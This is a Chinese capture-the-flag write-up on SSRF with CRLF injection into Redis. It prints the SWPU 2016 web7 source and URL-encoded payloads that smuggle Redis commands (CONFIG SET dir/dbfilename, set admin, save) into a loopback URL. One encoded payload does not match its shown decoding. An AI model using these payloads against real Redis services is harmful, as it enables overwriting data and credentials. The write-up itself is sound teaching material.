文章目录
- 
- 注入原理
- [例题 [SWPU 2016]web7](#例题 [SWPU 2016]web7)
 
注入原理
应用场景是具有SSRF漏洞,结合CRLF注入
我们以redis数据库为例,当存在SSRF时我们伪造以下请求
http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%0d%0a:6379/foo解码一下,执行过程就是将修改Redis的工作目录为 /tmp,然后修改Redis的数据库文件名为 evil,路径为默认端口的/foo
http://127.0.0.1
CONFIG SET dir /tmp
CONFIG SET dbfilename evil
:6379/foo然后就可以执行相关操作,比如修改用户的密码
再次利用ssrf漏洞进行修改并保存
http://127.0.0.1%0d%0aset%20admin%20admin%0d%0asave%0d%0a:6379/foo解码结果如下
http://127.0.0.1
set admin 123456
save
:6379/foo例题 [SWPU 2016]web7
源码
#!/usr/bin/python 
# coding:utf8
__author__ = 'niexinming'
import cherrypy
import urllib2
import redis
class web7:
    @cherrypy.expose
    def index(self):
        return "<script> window.location.href='/input';</script>"
    @cherrypy.expose
    def input(self,url="",submit=""):
        file=open("index.html","r").read()
        reheaders=""
        if cherrypy.request.method=="GET":
            reheaders=""
        else:
            url=cherrypy.request.params["url"]
            submit=cherrypy.request.params["submit"]
            try:
                for x in urllib2.urlopen(url).info().headers:
                    reheaders=reheaders+x+"<br>"
            except Exception,e:
                reheaders="错误"+str(e)
            for x in urllib2.urlopen(url).info().headers:
                reheaders=reheaders+x+"<br>"
        file=file.replace("<?response?>",reheaders)
        return file
    @cherrypy.expose
    def login(self,password="",submit=""):
        pool = redis.ConnectionPool(host='127.0.0.1', port=6379)
        r = redis.Redis(connection_pool=pool)
        re=""
        file=open("login.html","r").read()
        if cherrypy.request.method=="GET":
            re=""
        else:
            password=cherrypy.request.params["password"]
            submit=cherrypy.request.params["submit"]
            if r.get("admin")==password:
                re=open("flag",'r').readline()
            else:
                re="Can't find admin:"+password+",fast fast fast....."
        file=file.replace("<?response?>",re)
        return file
cherrypy.config.update({'server.socket_host': '0.0.0.0',
                        'server.socket_port': 8080,
                       })
cherrypy.quickstart(web7(),'/')可以看到引入urllib2模块,题目逻辑比较清晰,就是要登录admin才能获取flag,admin的密码就在redis数据库中,然后input中使用了urllib2.open().info().headers应该是可以利用SSRF来注入redis修改admin的密码的。
我们直接修改密码(redis默认端口为6379)
http://127.0.0.1%0d%0aset%20admin%20123456%0d%0a:6379
//解码如下
http://127.0.0.1
set admin 123456
:6379